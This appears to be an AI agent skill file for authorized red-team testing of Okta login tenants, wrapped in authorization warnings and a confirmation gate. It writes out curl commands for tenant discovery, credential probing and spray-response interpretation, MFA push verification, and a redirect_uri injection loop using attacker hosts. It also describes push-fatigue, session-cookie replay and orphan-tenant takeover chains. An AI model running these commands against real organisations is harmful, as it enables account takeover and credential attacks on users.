⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
Trigger when:
<tenant>.okta.com or <tenant>.okta-emea.com (EMEA region)<tenant>.okta.com/login or /app/<app_id>/sso/saml/signin/customize, oktapreview.com, or auth-js-sdk*.okta.com SAN in TLS certDO NOT use for:
m365-entra-attack instead)google-workspace-attack — not yet built)# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
for region in okta okta-emea oktapreview; do
host="$tenant.$region.com"
code=$(curl -sS --max-time 10 -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code"
done
done
# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
dig +short "sso.$domain" CNAME
dig +short "login.$domain" CNAME
dig +short "auth.$domain" CNAME
dig +short "okta.$domain" CNAME
done
# Visit corporate-app login, follow redirects
curl -sS --max-time 10 --max-redirs 0 -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant
/api/v1/authn differentialThe auth API returns different errors for invalid users vs invalid passwords. Slightly differential.
# Probe single user — DON'T spray, this counts as auth attempt!
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<email>","password":"_test_invalid_pw"}'
# Response codes:
# 401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
# 403 + "errorCode":"E0000119" → locked recovery exception (context-dependent)
# 200 → MFA prompt (cred VALID, MFA needed)
# 200 + "status":"SUCCESS" → full auth (rare in modern setups)
⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.
The /me route refers to an authenticated caller, not an arbitrary username. Timing differences alone do not establish user existence.
curl -sS --max-time 10 "https://<tenant>.okta.com/api/v1/sessions/me" \
-H "Accept: application/json"
# Response varies by tenant config
Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:
firstname.lastname@target.com
firstname_lastname@target.com
flastname@target.com
employeeID@target.com
/v1/authorize with login_hint# Tampering with login_hint param can reveal user existence on some configs
curl -sS --max-time 10I "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# A redirect difference alone does not establish existence; compare controlled accounts and complete policy context.
# Initial auth — observe what factors come back
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool
The following is a hypothetical successful-primary-auth transaction, not the result of an intentionally invalid password. Classic Authn and Identity Engine flows differ:
{
"stateToken": "00ABC...",
"factorResult": "WAITING",
"status": "MFA_REQUIRED",
"_embedded": {
"factors": [
{"factorType": "push", "provider": "OKTA"},
{"factorType": "token:software:totp", "provider": "OKTA"},
{"factorType": "sms", "provider": "OKTA"},
{"factorType": "call", "provider": "OKTA"},
{"factorType": "email", "provider": "OKTA"},
{"factorType": "question", "provider": "OKTA"},
{"factorType": "webauthn", "provider": "FIDO"}
]
}
}
Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:
webauthn (FIDO2) — phishing-resistantquestion (security questions) — extremely weak; KBA attackssms / call — phishing-able (push notification fatigue, SIM swap)push — phishing-able via MFA fatigueemail — phishing-able if attacker has email read accesstotp — phishing-able via AiTMObtain the actual org policy and known current failure counters; no request count guarantees avoidance of lockout.
Discipline:
# Same /api/v1/authn — see authentication flow above
| Response | Meaning |
|---|---|
200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting |
200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) |
200 status=PASSWORD_EXPIRED | Password is VALID but user must change it |
200 status=LOCKED_OUT | Account locked (pre-existing or our cause) |
401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |
403 E0000119 | Locked recovery exception; not a general auth-user oracle |
429 | Rate-limit hit |
If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.
⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.
# Initiate factor verification
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
-H "Content-Type: application/json" \
-d '{"stateToken":"<from_authn>"}'
# A real test would loop this — DON'T do that without explicit OK
Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:
# Get the app's authorize endpoint
curl -sS --max-time 10 "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool
# Test redirect_uri injection
for ruri in \
"https://attacker.example.com/" \
"https://target.com.attacker.com/" \
"https://target.com@attacker.com/" \
"https://target.com#@attacker.com/" \
"https://target.com\\@attacker.com/" \
"//attacker.com/" \
"https://target.com/cb?next=https://attacker.com/"; do
code=$(curl -sS --max-time 10 -o /dev/null -w "%{http_code}" \
"https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
echo " $ruri → $code"
done
# A 302 alone is inconclusive. Distinguish error redirects and approved URIs; code theft additionally requires controlled code issuance and proof of applicable state/PKCE/client protections.
Each Okta SAML app has its own SP metadata:
# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl -sS --max-time 10 "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"
# Look for:
# AuthnRequestsSigned="false" ← not proof of XML signature wrapping
# WantAssertionsSigned="false" ← not proof of replay; inspect actual SP verification and replay controls
# <NameIDFormat>...emailAddress</NameIDFormat>
If a valid cred + MFA-completed token is obtained:
# Get session token
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn" \
-d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken
# A sessionToken is not an SSWS API token and cannot simply be exchanged for one.
# Use only an independently authorized least-privilege API credential.
# Test admin endpoints (all require valid SSWS token):
curl -sS --max-time 10 -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
curl -sS --max-time 10 -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
curl -sS --max-time 10 -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
curl -sS --max-time 10 -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs" # audit log
Document existence; do not deploy without explicit phishing scope.
Okta FastPass is a passwordless public-key authenticator, distinct from ordinary Okta Verify push. Phishing resistance depends on supported clients and enforced policies. A fake prompt or push-fatigue capability does not prove a FastPass bypass. Inspect controlled policy evidence and current vendor guidance.
| Indicator | Configuration |
|---|---|
<tenant>.okta.com/api/v1/iam/orgs returns 401 (not 404) | API IAM endpoints enabled — admin attack surface |
customize/sign-in page reachable anon | Tenant brand customization is public — useful intel |
Multiple *.okta.com SAN certs | Multi-tenant org (less common) |
oktapreview.com subdomain | Preview/sandbox tenant — typically weaker security |
OktaTerrify (github.com/silverhack/OktaTerrify) — post-compromise Okta device-trust / FastPass enumeration. The only verifiable public Okta-specific offensive tool; no other named, maintained "okta-attacker"/"okta-toolkit" utility is verifiable — build engagement-specific scripts against /api/v1/* instead of citing unverified tool names.*.oktapreview.com with production — preview is a non-prod tenant, findings have different severitym365-entra-attack — sibling skill for the M365 case; identical mental modelhunt-oauth — OIDC redirect_uri tampering, state attack, PKCE bypasshunt-saml — XSW / signature-stripping for per-app SAML SPhunt-mfa-bypass — push fatigue, OTP brute, replaymid-engagement-ir-detection — Okta SOC dashboards are sensitive; expect mitigations during testingSeveral techniques publicly documented through 2022 (e.g., /api/v1/authn differential errors) have been hardened. Don't rely on stale knowledge — confirm enumeration vector freshness on each engagement by:
Identical responses mean no differential was demonstrated under those conditions; neither universal hardening nor another service's scope is established.
These are the canonical public references that justify the techniques in this skill. Cite them in reports when applicable and use them as analog cases when scoping novel Okta attack chains.
fcoa (failed cross-origin auth), scoa (successful cross-origin auth), pwd_leak (breached password match).bcrypt(userId + username + password). Bcrypt silently truncates input at 72 bytes. When username length ≥ 52 chars, the password bytes fall past the 72-byte boundary → cache key collapses to be password-independent. If the user had a prior successful login (cache populated) AND the AD/LDAP agent was unreachable AND MFA was disabled → any password authenticated.sid cookie from <tenant>.okta.com and <tenant>-admin.okta.com. Without IP-binding or device-binding on the Okta session, the attacker replays the cookie from a residential proxy and obtains the user's full session (incl. admin if the victim was an admin) — bypasses MFA entirely (already-MFA-completed session). Underpinned both the Oct 2023 HAR-file incident and most Scattered Spider intrusions.hunt-subdomain — Okta tenant naming patterns (<org>.okta.com, <org>.oktapreview.com, <org>-admin.okta.com) frequently include orphan/dev tenants. Chain primitive: Okta tenant discovery via /.well-known/okta-organization → enumerate <org>-dev, <org>-uat, <org>-test subdomains → hunt-subdomain orphan-tenant identification → claim abandoned tenant → SSO takeover (legitimate <org> users redirected through compromised IdP for any app federated to the dev tenant).m365-entra-attack — Okta-as-IdP for M365 is common in hybrid orgs. Chain primitive: okta-attack user enumeration + spray succeeds on Okta tenant → Okta is federated to Entra → SAML assertion issued by compromised Okta user → full M365 access without ever touching login.microsoftonline.com directly (bypasses Entra Conditional Access in many configurations).hunt-saml — Okta issues SAML assertions to every federated downstream app. Chain primitive: Okta admin or developer credential captured → mint arbitrary SAML assertions in Okta admin → hunt-saml XSW or signature manipulation not even needed — legitimately signed assertions for arbitrary impersonation across every federated app (Salesforce, Workday, AWS, GitHub, M365).hunt-mfa-bypass — Okta supports multiple factors with varying enforcement. Chain primitive: Okta password sprayed → MFA challenge → hunt-mfa-bypass factor-downgrade (push-fatigue, SMS fallback, voice fallback, security-question fallback) → bypass to authenticated session.triage-validation — Okta findings can be high-impact but need the 7-Question Gate run on whether the captured artifact (token, code, factor) actually grants meaningful access. Chain primitive: validated Okta primitive → triage-validation to confirm access plane → redteam-report-template with explicit federated-app blast-radius.triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
Tenant branding, certificates, 401/404 responses and preview hostnames do not prove ownership, weak security or authorization to test. Do not follow redirects outside confirmed scope. Missing/broad factor enrollment does not prove a login-policy downgrade. SAML NameID control, downstream application access and Conditional Access bypass each require independent controlled proof; a developer or ordinary user account does not mint arbitrary assertions. Never claim abandoned tenants or retain real passwords/session artifacts. Historical case details, monetary figures and tooling-maintenance claims above are leads requiring primary-source verification, not evidence of the current target. Use inert canaries and supplied test accounts; no live activity is included.